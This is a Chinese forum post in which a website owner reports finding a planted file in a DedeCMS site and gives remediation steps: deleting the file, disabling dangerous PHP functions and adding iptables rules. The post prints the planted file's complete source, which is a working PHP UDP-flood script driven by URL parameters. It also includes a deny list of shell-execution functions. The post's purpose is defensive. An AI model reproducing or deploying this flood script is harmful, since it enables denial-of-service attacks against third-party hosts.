本帖最后由 科长 于 2013-2-6 17:30 编辑
最近接到空间商通知,说我的网站include里面的一个文件dy.php含恶意代码,占用大量服务器资源导致服务器无法正常运行,我看了下这个竟然是PHP UPD攻击代码,代码如下:- <?php
- set_time_limit(999999);
- $host = $_GET['host'];
- $port = $_GET['port'];
- $exec_time = $_GET['time'];
- $Sendlen = 65535;
- $packets = 0;
- ignore_user_abort(True);
- if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
- if (StrLen($_GET['rat'])<>0){
- echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
- exit;
- }
- echo "Warning to: opening";
- exit;
- }
- for($i=0;$i<$Sendlen;$i++){
- $out .= "A";
- }
- $max_time = time()+$exec_time;
- //提示: www.haoddos.com 是骗子 请谨慎。
- while(1){
- $packets++;
- if(time() > $max_time){
- break;
- }
- $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- echo "Send Host:$host:$port<br><br>";
- echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
- echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
- ?>
复制代码 我在网上找了下这个问题的说明和详细解决方法:
新型DDOS工具利用织梦5.5和5.6漏洞,造成了国内大批织梦程序瘫痪。 服务器症状:服务器带宽应用占到100%,网络堵塞,网站网站网站网站无法访问。
⒈ 通过服务器安装监控流量软件可以看到,发送的字节增长速度很快(几乎4G/s),收到的字节很少! 用 netstat -an 查看到服务器连接的都是同一个ip ,端口都是连续的 。 根据这个可以判定不是DDOS攻击,因为DDOS是不断收到大量数据包。
⒉ 关闭apache,带宽过一会就正常, 可以判定是网站导致的!然后一个个网站排查(从来没有见过这样的情况,通过页面调用往外发包的)!
3.网站访问日志1天时间占满600G空间,造成mysql数据库不能启动,验证码错误。
解决办法
1. 空间上删除这个攻击文件, 修改空间面板、FTP等密码(攻击文件一般容易被放在织梦DEDECMS目录下的plus、include等文件夹内,如果您的网站也有异常,那就看看是不是有人上传攻击代码了)
2. 服务器上关掉或者是屏蔽一些危险的函数
/etc/php.ini allow_url_fopen = off 将on修改为off
关闭fsockopen()函数
在php配置文件中,对一些危险的功能函数进行屏蔽,如以下函数用逗号隔开
disable_functions= symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,passthru,escapeshellar
3. 升级DEDE程序到最新的
4. 服务器防火墙增加策略- iptables -A INPUT -p tcp -m tcp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT iptables -A INPUT -p udp -m udp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT iptables -A OUTPUT -p tcp -m tcp --sport 1024:65535 -d 8.8.44 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -p udp -m udp --sport 1024:65535 -d 8.8.8.8 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -p udp -j REJECT
复制代码 |